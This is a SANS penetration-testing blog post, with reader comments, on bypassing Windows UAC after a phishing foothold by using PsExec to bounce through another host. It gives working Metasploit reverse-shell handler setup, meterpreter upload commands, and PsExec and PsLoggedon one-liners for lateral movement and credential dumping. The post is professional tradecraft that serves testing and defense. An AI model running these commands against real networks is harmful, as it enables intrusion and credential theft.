SANS Penetration Testing

PsExec UAC Bypass

[Editor's Note: In this article, Tim Medin describes a common pen test scenario in which a tester gets limited access of a target Windows machine, and needs to escalate privileges without incurring the wrath of User Account Control (UAC). Tim describes his approach, which involves the use of psexec to bounce off of another machine to evade UAC and then pivot mercilessly in the target environment. Nice stuff! -Ed. ]

by Tim Medin

During a recent penetration test, we were trying to figure out how to bypass UAC on a fully patched Windows environment, given that we'd had a limited compromise of one system via phishing. I'd like to share the technique we came up with so you can apply it in your own work.

The Scenario

In our test, we were using phishing attacks trying to trick a user to click on an AV-dodging attachment that would invoke a Metasploit payload and connect back to my system. In Metasploit, I started the reverse handler:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 53 msf exploit(handler) > set lhost my_ip_address
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

I've set up the listener so that it will _not_ kill the listener after the first connection (ExitOnSession is false). This means the listener can be used over and over again without having to restart the listener between connections. When the ExitOnSession variable is set, the exploit command must be used with -j (start as job) and -z (do not interact with the session immediately — that is, background the session automagically).

A little while later, someone clicked something they weren't supposed to. We'll call that user "MrClickHappy," and he graciously clicked the malicious attachment we sent. There was a phish on the line, but there was a small problem: our resulting Meterpreter session was running without an elevated token. Thus, getsystem, hashdump, and other similar commands failed with the frustrating "Access Denied" message. Our compromised target box was fully patched, so there were no kernel exploits or other known problems that would allow privilege escalation. Of course, the regular user account could be useful, but system level access is much more fun and opens a lot of additional avenues. To achieve that kind of access, we needed a way to bypass UAC to get higher level permissions on the box.

The Attack

The fantastic PsExec tool by Mark Russinovich from Microsoft SysInternals (not the Metasploit module) offers a -h option, which runs the specified executable on the remote system using the account's elevated token (if possible). This means we can upload PsExec and run it against another system using the higher privileges associated with the account. Sadly, we can't successfully use PsExec against the box from which it is running (e.g., no 127.0.0.1). But still, by bouncing through another machine in the target environment, we can get the higher privileges we crave, and then bounce elsewhere and possibly even back to where we started from.

First, we need to upload the PsExec.exe executable to a machine I'll call Box0, the initial point of compromise, which will be used as a staging point. We also need to upload a safe copy of the meterpreter payload to Box0. We'll use these files to find a system against which we can authenticate as a privileged account. Here are the commands I ran in my phish-derived Meterpreter session on Box0.

meterpreter > upload /my/local/path/to/metr.exe \users\MrClickHappy\metr.exe meterpreter > upload /my/local/path/to/PsExec.exe \users\MrClickHappy\PsExec.exe meterpreter > upload /my/local/path/to/targets.txt \users\MrClickHappy\targets.txt
meterpreter > shell
Process 3052 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\MrClickHappy> PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe

This command will use the exiting user's credentials to copy the Meterpreter payload to the remote system (-c), overwrite the file if it already exists (-f), run it with elevated permissions (-h), not wait for the process to terminate (-d), and disable the EULA prompt (-accepteula). A list of targets has been provided (@) so the command will keep running and eventually find a winner.

The Meterpreter PsExec module can't be used, as we don't have the password or hashes. Fortunately, Windows will automatically pass through our existing user's credentials to remote systems via PsExec.exe and will allow us to get Meterpreter shell on another system provided the user has admin privileges somewhere on a machine listed inside targets.txt. Even better, the new shell will be an elevated shell (assuming the user has the privileges) and we don't have to deal with UAC on our new target.

Suppose Box1 is a target on which our click happy user has admin privileges. After running the previous command on Box0 which psexec's stuff on Box1, a new Meterpreter sessions will start using our existing listener.

[*] Sending stage (751104 bytes) to Box1_ip
[*] Meterpreter session 1 opened (my_ip:5555 -> Box1_ip:49160) at 2013-03-30 15:30:03 -0500
msf> sessions -i 1
meterpreter > getsystem
...got system (via technique 1).

At this point, there is a limited shell on the initial target (Box0) and a privileged shell on another target (Box1), both using the same user's credentials. The Meterpreter shell on the new system does not get cranky when we try to use the commands that require system level access, such as hashdump. Still, there is a small issue.

If we want to go back to the original system with privileged access, we have a bit of an issue. We can't use the shell on Box1 with pass-thru authentication because of the "double-hop" issue associated with impersonation. Here is a description of the issue using the text from this Microsoft article, with the names changed, to represent this scenario: The double-hop issue is when the one system tries to use resources that are located on a system that is different from the original target. In our case, the first "hop" is from Box0 to the Box1; the second hop is to from Box1 to anything else (including back to Box0). Remote authentication for SMB requires a primary token. Therefore, the Box1 system must know the password for the client to pass a primary token to somewhere else (such as back to Box0). Since Box1 only has a secondary token, the NTAUTHORITY\ANONYMOUS account credentials are used and a second session cannot be established.

We do have a privileged session with our new user, and that may be our end goal. However, if we really need elevated privileges on the original system, we need to find another system where our targeted user is running with a "primary token". To find this logged-in user, we can use another tool in the PsTool suite, PsLoggedon.exe.

PsLoggedon does not take a list of nodes, so we must wrap it in a Windows cmd.exe FOR loop to target multiple systems. The command below will run through a list of targets and then list the hosts where our targeted user (MrClickHappy) is currently logged in. It will also nicely pass-thru the credentials of an initial compromised user.

C:\> for /F %i in (targets.txt) do @PsLoggedon.exe \%i 2>NUL | find "MrClickHappy" >NUL && echo %i 
Box13
Box37

Now, Box13 can be targeted with PsExec and a Meterpreter payload. Once the shell is established, the clear text credentials can be dumped with the wonderful Metasploit Mimikatz module. This box will also have a good "primary token" so PsExec can be used to get an elevated shell back on the original system, Box0.

Of course, if you have credentials, you can play the double hop without issue. All you need is a host to bounce off of.

C:\> PsExec.exe -u MrClickHappy -p Password1 -h -c -v @targets.txt PsExec.exe \Box0 -d -s -u MrClickHappy -p Password1 \Users\MrClickHappy\metr.exe

This command will use PsExec to target a list of systems. When it finds a system against which it can successfully authenticate, it will copy over the PsExec.exe executable and use it to run Meterpreter back on the original system. This will then provide a lovely system level (-s) shell back on Box0.

With a nice springboard machine, such as Box1, UAC is a lovely little speed bump.

Tim Medin
Counter Hack

7 Comments

Posted August 8, 2013 at 6:01 PM | Permalink | Reply

egypt

This exact scenario is why exploit/windows/local/current_user_psexec exists. It also has the advantage of only uploading the meterpreter executable to the first bounce machine and using a UNC path to run it via psexec.

Posted August 9, 2013 at 2:44 AM | Permalink | Reply

Tim Medin

Cool. Thanks!

Posted August 9, 2013 at 7:20 AM | Permalink | Reply

jody

Windows will automatically pass through our existing user's credentials to remote systems via PsExec.exe and will allow us to get Meterpreter shell on another system provided the user has admin privileges somewhere on a machine listed inside targets.txt. Even better, the new shell will be an elevated shell (assuming the user has the privileges) and we don't have to deal with UAC on our new target."
That seems to be a rather far-fetched scenario in a typical corp windows environment. You already stated the user has no local admin rights on his own workstation and the OS is patched up and locked down appropriately'' what is the likelihood the users account is going to have local admin rights on some random machine in the domain?
This approach is neat and worth a shot, I guess, but it just seems kinda noisy and desperate to me. Am I missing something?

Posted August 9, 2013 at 1:03 PM | Permalink | Reply

Mick

@jody ''"
"That seems to be a rather far-fetched scenario in a typical corp windows environment. You already stated the user has no local admin rights on his own workstation and the OS is patched up and locked down appropriately.."
Respectfully, your understanding is incorrect. This is not far-fetched situation at all, which I'll try to explain.
While not explicitly stated, the situation described is one where the user *is* an administrator on box0. However, on Vista and newer, when an admin logs in they receive a split token; one standard token and one elevated.
UAC simply provides a mechanism to authorize the user to access and use their elevated token.
In the scenario the author describes, they are able to obtain a shell created with the user's standard (aka limited) token. Using the method described, they are able to later create a shell and/or process using the elevated admin token''all without UAC.

Posted August 10, 2013 at 3:57 AM | Permalink | Reply

jody

Right, it was not explicitly stated so I just assumed the user was a regular Domain User with no local administrator privileges.
The scenario outlined above, in my experience, would only be encountered when attacking corporations where you have spearphished a privileged user either by sheer luck or preferably by profiling and targeting such a user. Or where the target is quite liberal with handing out local admin privileges to users so they can install stuff etc (smaller companies perhaps)
From memory, I've not been lucky enough yet to just randomly hit a user with local admin rights remotely, although I do recall running into UAC issues on internal pentests and bypassing them in a similar manner.
Thanks for the clarification and the nice writeup.

Posted November 25, 2013 at 1:11 PM | Permalink | Reply

Oscar

To author:
PsExec.exe -u MrClickHappy -p Password1 -h -c -v @targets.txt PsExec.exe \\\\Box0 -d -s -u MrClickHappy -p Password1 \\Users\\MrClickHappy\\metr.exe ''"
''" this command doesn't work, if MrClickHappy is NOT Admin on Box0. Am I right?

Posted November 25, 2013 at 1:58 PM | Permalink | Reply

Tim Medin

Oscar, you are correct. This will not allow you to exceed your permissions on the system.

Post a Comment






Captcha


* Indicates a required field.